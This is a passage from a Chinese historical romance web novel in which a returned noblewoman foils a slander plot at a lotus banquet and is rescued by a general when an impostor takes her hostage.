孟南枝的美与他所见过的任何一个美人都不一样,带着倔强、温婉,还有少妇气息。
萧临渊掩过眸中心思,语气熟稔道:“多年未见,枝枝姐风采依旧。”
“奕王说笑了,岁月不饶人,人怎会一成不变。”
孟南枝轻轻一笑,带着几分不易察觉的疏离。
小雨还在嗒嗒下着,她微微侧身,示意萧临渊先行。青石板路上,水洼映着天光云影,也映着她淡然的神色。
萧临渊心中微动,开口问道:“当年枝枝姐落水之后,镇北侯满京寻你,太傅为寻你还致了仕,不知枝枝姐这些年去了哪里?又为何不回京中?”
孟家在京中是难得的清贵世家,只可惜子嗣太少。
太傅亡妻后,并未再续弦生子,家族传承太过单薄,否则将是每一个皇子必争的助力。
孟南枝轻轻扫了他一眼,避重就轻道:“我落水之后便生了病,不记得前事,便也无法回京。”
萧临渊眸中全是好奇,正要继续追问,沈砚修被弟弟推了一把,上前拉着母亲的衣袖道:“母亲,我饿了,珩弟说您给我带了饭,在哪呢?”
“这呢,饿坏了吧。”
孟南枝对着长子提了提沉甸甸的食盒,脸上洋溢着温暖的笑容。
她又转头看了眼站在一旁的萧临渊,客气道别:“就不多陪奕王殿下了。”
“无碍,改日本王会亲自登门拜访孟府。”
萧临渊微微颔首,看不出情绪,声音低沉,随后略过他们向书院内处走去。
孟南枝看着他离开的背影,蹙眉不语。
去孟府,而不是沈府。
他知道她住在孟府?
而陆筝筝看着萧临渊离开的背影,心里空落落的,总觉得好像被挖去了一样非常重要的东西。
因着母亲的存在,沈砚修早已把陆筝筝丢到了云开外,想到母亲亲自来给他送饭,满怀激动地打开食盒。
全是吃了一半的剩菜。
场面一时寂静。
“母亲尝了一下,每个菜都很好吃,专门给你留的。”
孟南枝丝毫不觉尴尬地将菜从食盒里拿出来,翻了一圈没找到木箸,才有些不好意思地说道:“修儿,要不你,用手将就一下?”
沈砚修:?
母亲,你要不要听听你在说什么。
沈砚珩嘎嘎嘎笑出公鸭嗓。
第40章 荷风宴
荷风宴设在平阳公府的水榭,四周环绕着碧绿的荷塘,荷花盛开,清香四溢。
孟南枝直等到天色渐暮,外出垂钓的父亲还没回府。
她不放心,便嘱咐沈砚修兄弟俩去寻他回府,若是太晚便不用再来参宴,这才带着刘嬷嬷前往赴宴。
她并未盛妆打扮,只穿了件素色软锻罗裙,发间斜插了支白玉簪,偏偏在暮色的照耀下衬得肌肤似雪,如普圣光。
水榭内正在高声说笑的几位公子怔得住了口,就连正在吟诗作画的几位小姐也转回了头。
未与这些年青公子哥和小姐同坐,孟南枝只淡淡扫了他们一眼,便移轻裙摆穿过拱月门,准备进入各府夫人所在的雅厅。
“那是谁家的……姑娘?”
“怎么也不与我们见礼。”
有人低声询问,语气中充满了难以掩饰的惊叹与对称呼的疑惑。
她虽年轻,却梳着妇人的发髻,身旁跟随的并非年轻的丫鬟,而是一位步履蹒跚的老嬷嬷。
京城何时出现了这样一位人物?
一声轻唤唤住了她,“侯夫人。”
孟南枝转过头,只见明挽月身着一袭浅粉色罗裙,轻盈地向她走来。
在她身后并未见到那个令人讨厌的家伙,明挽月直言不讳地问道:“侯夫人,沈砚修呢?为何您独自前来?”
孟南枝轻轻拍了拍她的手,微笑道:“他临时有事,稍后便会到来,你母亲呢?”
明挽月答道:“她在里面,请恕我不陪您一同前往。”
孟南枝点了点头,目送她蹦蹦跳跳地走向自己那群小姐妹的席位。
明家母女如今能在这参加荷风宴,那便证明她的路没走错,长子沈砚修在她的掰正下,定不会再走上巨幕中那条路。
随着孟南枝进入雅厅,外面的人还在疑惑。
“侯夫人?哪家的侯夫人?”
坐在席位中间的平阳公府三公子甄少兴,捏紧了手中酒杯,嗤笑道:“镇北侯夫人,你们也配让她见礼?”
此言一出,全场震惊。
“镇北侯夫人?!”
“她不是早死了……”
“怎的这般年轻。”
端坐于雅致厅堂的曹宛清早已等候多时,眼见孟南枝翩然而至,顿时眼中光芒四射,全然不顾身旁众人的奉承,毅然甩开衣袖,疾步迎上前去,满含期待地说道:“南枝,你终于来了。”
原本静坐的几位夫人皆被这突如其来的热情所惊动,纷纷站起身来,面露疑惑之色,低声议论着:“南枝?”
那个十年前溺死在大明湖底的镇北侯夫人?
她们这两日是听着人说镇北侯夫人回来了,还当是谣传。
众人随即围拢过来,将孟南枝团团围住,目光中充满了好奇与关切。
“果然是南枝啊,我一直在疑惑宛清为何总是心神不宁地向外张望,原来是在等你。”
“你是什么时候回来的,怎么也不提前告知一声?”
“让我看看,你是如何保养的,这么多年容颜依旧如初。”
“是啊,不像我们,眼尾的皱纹已经数不清了。”
“不仅如此,你们看南枝随意一穿便宛如仙女下凡,反倒让我们这些珠光宝气得显得俗不可耐。”
平阳公夫人微笑着挥手示意,说道:“你们都不要站着了,请镇北侯夫人坐下。”
“来吧,南枝,坐在这里,好好跟我们讲讲这些年你去了哪里。”
几位夫人争相将她拉到自己身边,既然人回来是真的,那谣传的镇北侯夫人逼迫镇北侯休平妻也是真的了?
那她们得好好地听一听第一手消息。
曹宛清哪里不知道这群人都打得什么主意,连忙轻轻推开她们,笑道:“今日你们谁也别跟我争,我早早便为南枝留好了座位。”
自知抢不过她,众人笑着责备,“就你最狡猾。”
孟南枝向大家致谢。
曹宛清便亲昵地拉着她在自己身侧的空位坐下,给她倒了杯果酒,道:“南枝你今日来晚了,定要自罚一杯。”
众夫人纷纷起哄道:“是该自罚。”
孟南枝执起酒杯,带着浅浅的笑意道:“妹妹并非故意来迟,只因看到府中的荷花开得正艳,贪看了两眼,这才晚了一步。”
与她们这些经历岁月洗礼变得略微带哑的声音不同,孟南枝的声音仍旧清透如泉,说着但将杯中酒浅抿一口,酒润唇瓣,显得她那本就美得夺目的脸更加潋滟。
众人不觉伸手去摸自己的脸,却又悄悄放下。
人比人,气死人,还是不比了。
席间分作两桌,有人欢欣鼓舞,自然也有人心生不满。
“听说镇北侯为了侯夫人苦候十年未曾续弦,太后见状不忍,赐予他一位平妻。然而,侯夫人归来后却不愿接受,执意要镇北侯休弃那位平妻。”
“啊?这如何能休?谁人不知那平妻温婉贤淑,知书达理,在侯夫人不在的日子里,她对待侯夫人的子女甚至比对自己还要亲厚。”
“我记得那镇北侯夫人与平夫人曾是好友,此事可有差错?”
“确是如此,侯夫人多年未归,如今突然现身,竟不回家门便要求夫君休妻,这般道理何曾见过?”
“确实未曾见过。”
曹宛清怒不可遏,拍案而起,“若再有人妄言,莫怪我曹宛清对她不客气!”
一位身着深青色罗裙的斜眉妇人,手中轻轻摇动着一把精致的团扇,面上满是冷嘲:“怎么?曹宛清,你当这是你曹国公府,连说个话都要管一管。”
孟南枝拉着曹宛清让她坐下,执起酒杯对那妇人道:“不比马夫人大人有大量,能容得下妾室满院,生的孩子还不是长子。”
吏部尚书马夫人身为明媒正娶的正室夫人,竟被后来抬进门的妾室抢先诞下一名男婴。
马夫人被戳到痛处,面色涨得通红道,目光中带着难以察觉的怨恨,道:“那也不比侯夫人如此善妒,逼得她人活不下去。”
孟南枝笑意不达眼底,道:“既然马夫人知道我是侯夫人,理应以礼相待。然您言辞不敬,莫非认为吏部尚书的位子过于尊崇,抑或是您那心肝宝贝的儿子伤势并不严重?”
第41章 不按常理出牌
马夫人被堵得说不出话,在平阳公夫人的眼神示意下,心中虽然满腔怒火,却也只能不甘地朝孟南枝施了一礼。
她好不容易生下来的孩子,含在嘴里怕化了,放在手心怕碰了,长这么大谁曾欺辱他一下。
可就在前日里,竟然被孟南枝一个盘子砸得鲜血直流,还被告污蔑他儿子的清名。
她花了大价钱又是送礼,又是跑关系的,那府尹非说因是屠戎将军坐的堂,他不敢也不能放人,害她儿被关在牢里生生住了两日。
等出来,那脸盘子都发白了。
今日若不拉下孟南枝的脸面,她实在咽不下这口气。
孟南枝却根本就不在意她的想法,若知道,只会怪自己当时砸得还不够狠。
曹宛清偷偷给她竖起大拇指,随后两人便低头轻声交谈,言笑晏晏。
林婉柔来得比她更晚,在女儿陆筝筝的搀扶下,拖着孱弱的身子如随时会被风吹到一样,到了雅亭,给各位夫人施礼。
“婉柔见过各位姐姐,给各位姐姐请安。”
说罢又病柔柔地走到平阳公夫人身前,道:“并非婉柔故意来迟,实在是前日淋雨生了病,这才晚了些。”
众夫人闻言又是一阵低语,这不就和谣传对上了?
平阳公夫人撂了撂眼皮,看不出喜怒道:“不妨事,快坐吧。”
林婉柔没坐,却是对孟南枝屈身行礼,有些胆怯地说道:“夫人,妾身来并非是想污了夫人的眼,而是早已收了贴子,不来便是不敬,望夫人莫要怪罪。”
陆筝筝也跟着柔柔地行了一礼,像生怕孟南枝会生气罚母亲一般,怯生生地解释道:“南姨,母亲的贴子收得早,她本不想来,还是侯爷劝说着才来的。”
马夫人冷哼一声,说道:“瞧瞧一个十年不见回来的人,竟然如此苛待太后赐的平妻。”
有人跟着附和:“可不是么,不知道的还当镇北侯的平夫人犯了多大的罪呢,也不看看她不在的这些年,是谁帮她看大了孩子。”
“谁不知道镇北侯的平夫人待侯夫人的孩子慈爱有加,今日还真是看了一出‘农夫与蛇’的好戏。”
曹宛清气得再次怒拍桌子,“你们莫要胡吣。”
孟南枝却是乐得笑出声来,抬手轻点了点林婉柔,柔声同她说道:“婉柔,来,到我身边来。”
众夫人不解,林婉柔也同样不解地走到她身侧,柔声道:“夫人。”
孟南枝微微扬起下巴,示意道:“布菜吧。”
陆筝筝轻柔的声音中带着委屈:“南姨!”
她怎么可以如此不顾母亲的脸面,让母亲在这么大的场合上给她布菜。
孟南枝没理她,抬眼看向林婉柔,笑得温和,“怎么?不愿意?”
林婉柔指甲深深陷入掌心,为了今日目的,只得面色苍白着摇头道:“妾身愿意。”
正妻地位高于平妻,她不得不从。
话音刚落,林婉柔便拿起银箸,微微躬身,将孟南枝所点的菜肴,一一夹入她面前的碟中。
场面顿时陷入寂静。
谁能料到,孟南枝竟会如此不按常理出牌。
难道不该服软,或是与她们大吵一架吗?
好让她们见识一下,这位素来高高在上的镇北侯夫人,究竟会将脸面丢至何处。
孟南枝慢条斯理地吃了一口菜肴后,又抬眸看向带头说闲话的马夫人等人,眸中看不到任何笑意的柔声道:“你们还有何不满,继续说,我都听着。”
众人见她如此行事,皆默默不再作声。
说什么呢,平妻给正姨布菜这是规矩。
谁要说个不字,等回头自家老爷娶了平妻,连理都没地方说去。
半刻钟后,吃罢菜肴,一个丫鬟在厅门福了一礼,平阳公夫人站起身,石榴红的衣裙在灯光下泛出细碎的光,“我儿特请戏班子排了出《醉新枝》的新戏,天色尚早,诸位不如随我移步随园瞧瞧。”
众人纷纷应和。
平阳公夫人便引着众人穿过拱月门,往随园走。
偏偏此时,一名男子闯入水榭,向她们直冲而来,粗哑的声音撕喊着:“娘子,娘子。”
一众夫人皆出身闺门,何曾见过这等情景,顿时惊慌失措,纷纷躲向一旁。
孟南枝皱起眉头,直觉感到来者不善,于是顺着人群悄悄躲向角落。
偏那男子粗眉下一双眼睛直勾勾地盯着她,她躲哪,他找哪。
人群中不知是谁先起了头道:“你们看,这男子好像在喊镇北侯夫人。”
此言一出,一众夫人皆离孟南枝远了些,将她孤零零地独立出来。
果真,只见那男子伸手欲拉孟南枝的胳膊,“娘子,你怎么丢下我就走了,让我好生寻找。”
孟南枝迅速后退,巧妙地避开了他的手,“你是谁?我不认识你。”
那男子穿着粗布短打,裤腿还沾着泥巴,长得粗壮,面庞黝黑,颌下有颗黑痣,听到她说这句话,竟然红了眼眶,“娘子,你莫不是……当真病好了?又把我忘了?我是你的夫君铁柱啊。”
男子看着孟南枝猛擦眼泪,“娘子,你忘了十年前,我在小沼河边网鱼,捡到顺着水流漂到河边的你。当时的你已经奄奄一息,我寻了郎中折腾了三天三夜才把你救活。”
“醒来后,你望着我直落泪,说你什么也想不起来了,不知道自己是谁,家在哪里。我瞧着你可怜,便留你在我家住着,想着等你记事了就送你回家。可这一等就是五年,整整五年你都没想起来。”
“五年前你突然红着脸说要嫁给我,我那天乐得一夜没合眼,第二天便翻箱倒柜地找出攒了多年的碎银,寻了村里的秀材写了红贴,请了村里的人做见证,你我拜堂成为夫妻。娘子,这些你都不记得了吗?”
一字一句,活像她真的是他的娘子。
水榭内众人皆皆倒吸凉气。
镇北侯夫人竟然嫁了他人!
“怪不得既然没死,却整整十年也不回京,原来是嫁了他人。”
“也是,十年了,一个女子怎么生活,定是又傍上了他人。”
“就这还敢回来镇北侯府,要求镇北侯休平妻。”
“要是我,有夫再嫁,哪还有脸回来,早吊死算了。”
第42章 降妾书
男宾雅厅的人也都聚了过来,镇北侯沈卿知首当其冲,面色铁青,“孟南枝,你竟如此背弃于我!”
林婉柔连忙上前揽住镇北侯道:“侯爷息怒,莫要轻信这不知哪里来的人胡吣,万一他是污蔑南枝呢,南枝与你少年夫妻,情深意重,定不会做出此事。”
顿了顿,她又带了丝不确定地说道:“就算是有……那也是在南枝不记事的情况下,南枝她并非有意。”
曹宛清虽对林婉柔不喜,却也不得不认可她此时说的话还算有些道理,立马对那男人厉声道:“你有什么证据说侯夫人是你娘子,若是污蔑,本夫人定会让你吃上官司。”
男人一边擦泪一边道:“各位老爷夫人,小人所说句句属实,我娘子她胸前有颗痣。”
砰!
这句话犹如凉水掉入烧开的热油里,瞬间炸开了锅。
孟南枝额间生汗,手指紧握,她胸前有痣只有几人知道。
他们这一唱一和是想把她往死里整。
沈卿知的脸色由青转黑,眼神更像是啐了冰的毒蛇,直直地射向孟南枝,“南枝,我对你如此情深,为你挖干大衍湖,十年不曾续弦纳妾,可你呢?背着我另嫁他人,回来后,竟然还逼我休掉婉柔。你可这些年,婉柔与我为了你,吃了多少苦!”
孟南枝死死盯着沈卿知,眼中泛起浓嘲,“沈卿知,你确定你那真是为了我?”
对上她能映出自己影子的清澈眸子,沈卿知有一瞬间的窒息,但想起林婉柔的父亲和左相,却是立马喝道:“你闭嘴,本侯不想听你辩解,本侯要休……。”
脑海中突然闪过沈二叔的话,沈卿知的话顿了一秒改口为:“本侯要降你为妾。”
说罢,生怕自己晚一息就会反悔地对身边最近的一位公子吼道:“去拿笔墨来。”
那公子被吼得一愣,却连忙寻了纸墨来。
沈卿知提笔在纸上写下“降妾”二字,笔锋凌厉如刀:“孟氏南枝,德行有亏,与人有通,但念其诞子有功,今依‘七出’之条降为妾室。”
林婉柔掩住眼底笑意拦住沈卿知,幽幽开口劝道:“老爷,你莫要凭此人一面之词,还是要听听南枝的解释,毕竟这没有证据。”
“证据?那人所说便已是证据,若未做夫妻,他怎会知道……”沈卿知甩开她的手,将降妾书甩在孟南枝身前,“孟南枝,今日起,你在我沈府不得再以夫人自称,需称孟姨娘。”
乌云再度聚拢,天空洒下绵绵细雨。
荷叶承着雨珠滚来滚去,最终坠入池水里,漾起一圈圈细碎的涟漪。
水榭之内,客立满院,无一不交头接耳,低声私语。
……
接完外祖父姗姗来迟的沈砚修和沈砚珩,刚入水榭就见到父亲写休书给母亲,当下心头一紧,快步跃过人群挡在母亲前面。
沈砚修上前一步,与父亲直接对质道:“父亲,母亲从未与人有私,你怎么可以凭此人一面之词,如此草率下此定论?”
沈卿知心中的怒火依旧熊熊燃烧,难以平息,他沉声道:“此事已昭然若揭,若非如此,你母亲她又怎会十年光阴未曾踏归京都半步?而且此人所言的失忆之症实乃属实,所说之痣也为实,只怕两人……”
说到此处,他的话语戛然而止,似乎接下来的话实在难以启齿。
他猛地抬起手指,愤慨地指向那名为铁柱的男人,眼神中满是怒火与不甘,“恐他们两人早已有那夫妻之实。”
自称铁柱的男人似被惊吓般满脸的不置信,“娘子,你……你竟然有夫君和孩子,还是镇北侯。”
而后又惶恐地在镇北侯面前跪下,“小的不知娘子是侯夫人,若知道,小人定是不敢与娘子成为夫妻。”
沈砚珩一脚将那男人踹翻在地,“你算个什么东西,也敢诬陷本公子母亲。”
林婉柔连忙轻声道:“珩儿,你有所不知,洪太医已证实南枝此前确实得了水邪闭窍之症。”
沈砚珩听见她说话就觉得厌烦,“你算个什么东西,也敢直呼本公子名讳。”
林婉柔瞬间面色苍白,似受了很大委屈,“二公子,我……我是……”
“逆子!”
沈卿知上前一巴掌便要扇在他的脸上,却被孟南枝拦下,直接连着降妾书掳在他的脸上,“沈卿知,你们当真是好得很,如此算计定我七出,竟还想打我儿。”
沈卿知怒意盎然,带着不容置疑的威严沉声道:“孟南枝,若非你确有此举,他又岂会找上门来,口出那般言辞?”
一直沉默未言的平阳公夫人,突然开口轻声道:“既然提到洪太医,我记得他正在府内为我长媳看诊,便请他过来吧。”
自称铁柱的男人忙又跪爬过来欲拽孟南枝的衣摆,“娘子,不怕,哪怕你被休了,我也要你,我就是砍柴网鱼做工也会养着你。”
马夫人轻摇着团扇,冷嘲道:“侯夫人倒是好本事,不仅让镇北侯为她十年不续弦,还能哄得一个男人哪怕她被休了,还要上赶着接回去。”
孟南枝一脚将那跪地的男人踢开,“凭你,也敢诬陷我。那你倒说,你是何方人,做的何等营生,又在何处捡得我。”
自称铁柱的男人艰难地爬起身,泪眼朦胧地说:“娘子,你难道忘了,我是在峭城小绍河边把你捡回来的。这十年来,我不辞劳苦,靠砍柴捕鱼来养育你。”
孟南枝的目光紧紧盯着他追问道:“那这十年里,我又在做些什么?”
“每次我上山砍柴,娘子你总在家里备好饭菜等我归来。每当我去捕鱼,娘子你便在岸边默默等候。”男子一字一句好似背诵早已打好的腹稿。
就这?
孟南枝缓缓抬眸,目光落在沈卿知的脸上,嘴角勾起一抹嘲讽。
沈卿知闻言眉头微蹙,看着孟南枝如此轻描淡写的模样,总觉得好像哪里失控了。
林婉柔却是微微阖眼拽紧了帕子,暗骂:蠢货!
第43章 是本将接的
听到母亲说的话,长子沈砚修立马转过身将她的手摊开,置于众人面前。
“还说不是诬陷,你们看看我母亲这双手,是操劳了十年的样子吗?”
那双玉手嫩如白葱,掌心肤如凝脂,连掌纹都浅淡得几乎看不见,唯有指腹曾因抚过书页带着一层薄而细密的柔茧。
名为铁柱的男人忙不迭狡辩道:“我从不让娘子干重活,一直娇养着娘子,还为她买了霜膏每日为她按摩双手,这才使得她双手这般。”
沈砚修蹙眉:“那我问你,一盒霜膏多少钱?”
男人吱唔道:“二……二两。”
“二两?”次子沈砚珩嗤笑,“我母亲所用最差的霜膏也要二十两了。”
男人解释:“我们那便宜。”
“你刚还说你靠砍柴铺鱼为生,又哪里有闲钱去买得起。”沈砚修看着男人的目光像是淬了冰,语气更似寒冰,“话里话外全是矛盾,还敢狡辩说不是诬陷?”
男人哭诉道:“公子,我真的没有诬陷,我这些年来所赚的银钱全都给了娘子,支出也都是娘子管着。”
孟南枝止住长子,这样争执下去没有意义,她与那男人凑近了些,揉了揉鼻子道:“峭城在南方,你若是峭城人,身上带的该是水腥或草木味,可你身上却带了股皮革味,倒像是北方人。”
而且这股味道很熟悉,自己这两日应是在哪里闻到过。
那男人低头闻了闻,并闻不出自己身上有什么味道,“我从峭城赶来京都寻找娘子,花了整整一月,又是坐车又是到各大坊子里寻人,身上早没味了。”
孟南枝接着说道:“峭城人的肤色通常较为湿润,而你却偏向北方人的干燥粗糙。”
男人下意识地轻轻揉了揉脸颊,解释道:“那是因为我这半个月来一直在路上,饱受风沙侵袭。”
孟南枝的目光紧紧追随着他揉脸的手掌,“你说你常捕鱼砍柴,那你的指甲理应偏薄,然而你的指甲却短而厚实,反倒像是长期从事其他劳作。”
说到此处,孟南枝看向他的眼中闪过一丝凌厉之色,冷声道:“你说你是峭城人,我看你倒像是北戎来的奸细,拉出去,送府衙交由府尹秉公处理。”
沈卿知见状变了脸色,是假的?
林婉柔同样也变了脸色,暗拽手帕:不中用的东西。
那男人猛得面如白霜,“噗通”一下跪地哭喊道:“娘子,你要不想认我,可以不用认我的,但也不能冤枉我是北戎人啊。”
“你忘了当初我们洞房花烛夜时,你说此生只嫁我一人,就算哪一天想到了以前的事,也不会丢我,你怎么一回到京都就变了。”
长子沈砚修上前制服男人,一巴掌扇在他的嘴上:“你再胡吣,信不信我撕烂你的嘴。”
那男人被打得嘴角渗出血丝,却依旧哭喊着:“公子,我句句属实啊,你们为什么不信我,她真的是我娘子。”
马夫人摇着团扇幽幽道:“怎么一说到洞房花烛夜便不敢认了,就这么堵住人的嘴,是心虚了?”
孟南枝抬眸望向她,眼中掠过一丝讽刺,冷声道:“马夫人如此偏袒于他,莫非你们有何私情?吏部尚书可曾知晓?”
马夫人摇着团扇的手微微颤抖,“孟南枝,你休要胡说!”
孟南枝嘲讽道:“怎么,允你们说别人,别人便说不得你们?”
看了眼面色异常难堪的镇北侯,林婉柔心思千方百转,面上却装出一副松了口气的样子,同他柔声说道:“侯爷,你看我就说南枝是清白的,这人定瞧南枝回来想讹钱跑来钻空子呢。”
说罢,她又走到孟南枝面前,未语泪先落,“南枝,你受委屈了,这十年,你在外面孤苦一人,定是吃了不少苦。”
马夫人顺着林婉柔的话幽幽道:“瞧那没吃一点苦的样子,定是被人养了起来,不是这个男人,也会是其他男人。”
两人一唱一和,仿佛是事先早就商定好的。
刚被叫过来,尚未来得及靠近的洪太医,目睹此情此景,悄然退向角落。
对于镇北侯家的事,他素有经验,深知不宜插手,万万不可掺和。
一旦卷入,倒霉的恐怕就是自己。
长子沈砚修也不再管地上的男上,起身上来一脚就把马夫人踹到地上,“污蔑我母亲!”
但这话到底是引起了水榭内的众人再次低声私语。
“是了,你们看她和十年前一样年轻美貌,没有一点岁月痕迹,定是被人精心呵护,养在深闺之中。”
“要是吃苦,怎么可能会这样,她肌肤白皙细腻,看起来也不过才到花信之年,仿佛时光从未在她身上留下任何印记。”
“你们看,侯夫人和镇北侯站一起,感觉像是差了辈分。”
沈砚修与沈砚珩对视一眼,双双面色极其难看,母亲是溺水后直接重生回来的,这个他们该怎么和众人解释。
马夫人捂着被踢的肚子痛得嗷嗷直叫,看向沈砚修的眼中满是恨意,“你母亲不守妇道,跟了其他男人,你也不是东西,杀了通房还让奴仆顶罪,你们母子都是一路货色。”
辱她儿子!
孟南枝从地上捡起一把椅子,朝她头上就轮了过去!
“嘭!”
马夫人两眼翻白,晕了过去。
满厅皆惊。
“毒妇!”
镇北侯的脸色发青,看向孟南枝的眸子里满是怒火,“那你倒说说这十年你去了哪里?和谁生活在一起?又怎么突然就回了京都?”
降妾书他已经写了,今日的脸面如何能丢。
孟南枝眼帘微阖,正欲说话间,却听一道清洌的声音破空而入,“孟家女郎在岚城弥岳山普寿寺,是本将把她接了回来。”
谢归舟于雨中而来,玄色披风被雨水浸透,沉甸甸地搭在肩头,铠甲上的鳞片在灯光的照耀下泛出冷冽的光泽,眉峰斜挑,眼瞳深如潭墨,望向水榭众人时带着压人的锐气。
水榭内众人见状,纷纷矮身行礼,或跪或拜,姿态恭谨。
先前还在窃窃私语的几人,此刻都敛了声息,连大气也不敢喘一口。
第44章 自然是她不想
沈卿知的脸色早已沉得像块青铁,眼底翻涌着惊疑与不甘,他攥紧了拳,声音里带着压抑不住的质问:“将军是说,本侯的夫人这些年一直在普寿寺?”
普寿寺乃是女子佛门净地,若得以证实,他的降妾‘七出’之名便是错上加错。
谢归舟立在对面,神色平静无波,只淡淡应了一声:“是。”
这一声“是”像块巨石砸进沈卿知的心湖,激起千层浪,他握紧了拳头,思绪千回百转,突然抬眸问道:“那将军是从何时起,寻到本侯夫人的?”
“三个月前。”
谢归舟的回答依旧简洁,听不出半分情绪。
沈砚珩伸手捣了捣兄长的后背,低声问道:“哥,是你和谢将军说母亲回来的事了?”
沈砚修摇头,轻声回复:“没有,应该是外祖父吧,谢将军前日去寻了外祖父。”
他越想越觉得就是外祖父,毕竟除了外祖父,不会有谁会撒这么一个逆天大谎帮母亲。
沈卿知青黑的脸上泛起红丝,语气里满是难以置信的痛楚与愤懑:“既然将军即已寻到本侯夫人,为何……为何不遣人告知本侯?”
谢归舟轻轻地瞟他一眼,平静的语气里多了丝冷嘲:“本将记得景和六年去镇北侯府寻侯爷时,见侯爷和林氏于那晴天白日便在府上行那等不可言语之事,后来又娶她做了平妻,想着侯爷应是不希望孟家女郎回来的。”
话音刚落,满院俱静。
有人手中握着的折扇不慎滑落,跌在地上,溅起一片水花,发出沉闷的声响。
几声压抑不住的惊呼声此起彼伏,众人齐刷刷地将目光投向沈卿知,随即又猛然转向林婉柔。
互相对视,以神交流。
那等,是哪等?
不会是他们想的那等吧。
晴天白日,好高尚的词语。
还有景和六年,那岂不是两人未曾婚嫁便……
这是什么逆天走向。
脑子有些乱,得好好捋一捋。
沈卿知的脸色由青黑转为青白,怪不得当日孟南枝竟能说出景和六年之事,原来是谢归舟告诉了她,可他并不记得当日谢归舟有去侯府寻他。
只是此事不好过深探究,他只得辩解道:“本侯自始至终都在等待夫人归来,为了她,连弦都不曾续娶。”
“是吗?本将记得,镇北侯在孟家女郎溺水不足一年之时便立了衣冠冢,这难道像是等待夫人归来的态度吗?”谢归舟轻飘飘地反问,却直压人心弦。
一旁的孟南枝默默举起拇指:好嘴替,不亏是父亲连连夸赞的学生。
沈卿知身眼神闪烁,反驳道:“本侯当年挖干大衍湖,在满京贴满她的画像都不曾寻到她,以为她已不在人世,这才立下衣冠冢。”
“悲痛过度?”谢归舟嘴角勾起一抹冷笑,“本将倒是听闻,侯爷在衣冠冢立后不久,林氏便经常出入镇北侯府,镇北侯府内更是时常传出欢声笑语,与悲痛二字似乎相去甚远啊。”
此言一出,院中众人更是面面相觑。
他们确实知道镇北侯夫人溺水而亡后,林氏经常出入镇北侯府,但那理由可是为了替侯夫人照顾孩子。
而且这些年,林氏确实一直对镇北侯夫人的子女慈爱有加。
谁见到她不要夸上一句:得友如此,妇复何憾;得妻如此,无复何求。
今日这反转,着实有点多。
为了维持形象,林婉柔终是忍不住开口,“谢将军此言差矣。”
她款步上前,脸上挂着温柔的笑道:“侯爷对南枝一往情深,寻她无果后,为了不让孟叔父和世子他们沉寂于寻南枝的悲痛之中,这才立下衣冠冢。而我嫁与侯爷,乃是太后所下懿旨。”
心中却是暗自恼恨:孟南枝还真是运气够好,竟然能十年不死,还被谢将军给寻到。
沈卿知的脸色同样不好看,但却不想和谢归舟闹僵,只得转移话题道:“此事已成过往,将军寻得本侯夫人后,理该将她先送回镇北侯府。”
而不是送到孟府,让他失了先机。
谢归舟目光直直看向自他进来,即想看又不敢看的孟南枝。
明颜笑眸,鲜活如旧。
他极力隐藏眼底的雀跃和黏湿,移开视线淡然道:“自然是她知你背叛于她,不想回镇北侯府。”
院内的空气仿佛已经凝固,众人都垂着头,连眼皮都不敢抬一下,只听着两人对话,心都悬到了嗓子眼。
沈卿知胸腔里摸不着头绪的无名火气烧得喉头发紧,血红般的眼睛看向孟南枝:“孟南枝,你该知你有孩子,怎么可以弃子女十年于不顾独自逍遥。”
不待孟南枝回答,谢归舟平静的眸中便闪过戾色,语气如冰带雪:“镇北侯,你当知她得了水邪闭窍之症,不记得你,自然也不记得孩子。若非本将寻得她,得随军医师诊治,她至今还在普寿寺吃斋念佛,不知自己是谁!”
有人道:“对,对,刚才镇北侯平夫人还在说南枝得了此症。”
自谢归舟进入水榭便一直降低存在感的林婉柔,此时更是往镇北侯沈卿知身后躲了一躲,事情的走向完全超出她的计划。
脑子有点发绕,同样转不过来的曹宛清连忙环顾四周,看到退得远远的洪太医时,眼睛一亮,冲他招手道:“洪太医,来,快过来。”
众人皆皆让路,推着他往中间走。
洪太医只想把自己的脸打烂。
自己早晚要被爱看热闹的心给害死。
他就知道迟早会来这么一出。
上次若不在孟府多待,出了孟府就不会被绑进将军府。
不被绑进将军府,他就不会战战栗栗地把自己打小到现在所做的坏事全部讲一遍。
不全部讲一遍,就不会被将军捏住把柄。
不被捏住把柄,就不会像眼前这样……
洪太医狗腿似的对着谢归舟和孟南枝躬身行礼:“见过将军,侯……孟姑娘。”
孟南枝颔首未语。
父亲请的外援好像有点厉害,一直在抢她的台词,快把她准备说的话都说完了。
曹宛清推了洪太医一把,“快说,南枝可是生了病?”
洪太医又对站着的几位夫人行了礼,才道:“微臣前几日便同孟姑娘看过诊,确得水邪闭窍之症,不记前尘往事,是近日才有所恢复。”
谢归舟看向沈卿知,“镇北侯可还有疑虑?”
沈卿知死死握紧了袖中拳手,不甘地垂下头,“本侯,已无疑虑。”
谢归舟对沈砚修兄弟点了点头,冷冷地扫了眼地上的铁柱,沉声道:“将这人带走,都散了吧。”
跟他而来的两个侍卫应声而立,走上前想把铁柱架起来往外拖,但那铁柱却是突然蹿起,左手夺了士兵佩戴的刀,一把将孟南枝攥在自己身前,刀架在她的脖子上,对众人吼道:“都让开,让我出去。”
第45章 是你逼我的
沈砚修与沈砚修齐齐喊道:“放开我母亲。”
还没走出水榭的众多夫人小姐慌了神,有胆小的夫人甚至吓出尖叫。
刀锋触及颈侧的刹那,孟南枝只觉得一阵刺骨的凉,她睫毛吓得直颤,却极力控制自己保持冷静。
不怕,溺死那么久自己都改命活过来了,这不过是一把刀而已。
沈卿知凝视着孟南枝脖间那柄闪烁寒光的刀,眼中满是血丝,即想上前阻拦,又想让那刀再深一点。
谢归舟冷冽的声音中带着丝谁也没有注意到的颤抖:“放开她!”
“都滚开,小心老子刀下不留人。”铁柱把刀往孟南枝侧颈深送了半寸,血珠便顺着刀刃往下淌,在衣襟上开出绚烂的花。
沈砚修与沈砚修惊呼:“母亲!”
“都让开。”
谢归舟面色如冰,眼底的寒意控制不住地往外溢。
众人皆屏住了呼吸,纷纷后退让出一条路。
铁柱拖着孟南枝往后退,在走到明程氏身边时突然被绊了一脚。
在他脚歪的瞬间,谢归舟已如猎豹般扑上前,左手握刀,右手砸向他的脑袋。
铁柱痛呼一声,摔倒在地。
孟南枝还没反应过来,已被一股大力拽进怀里,下巴撞上坚实的胸膛,鼻尖萦绕着淡淡的松脂香。
谢归舟低头看了眼她侧颈的血痕,忍住想要伸手去捻拭的冲动,喉结耸动,声音虽沉尾尖却带着颤音,“别怕。”
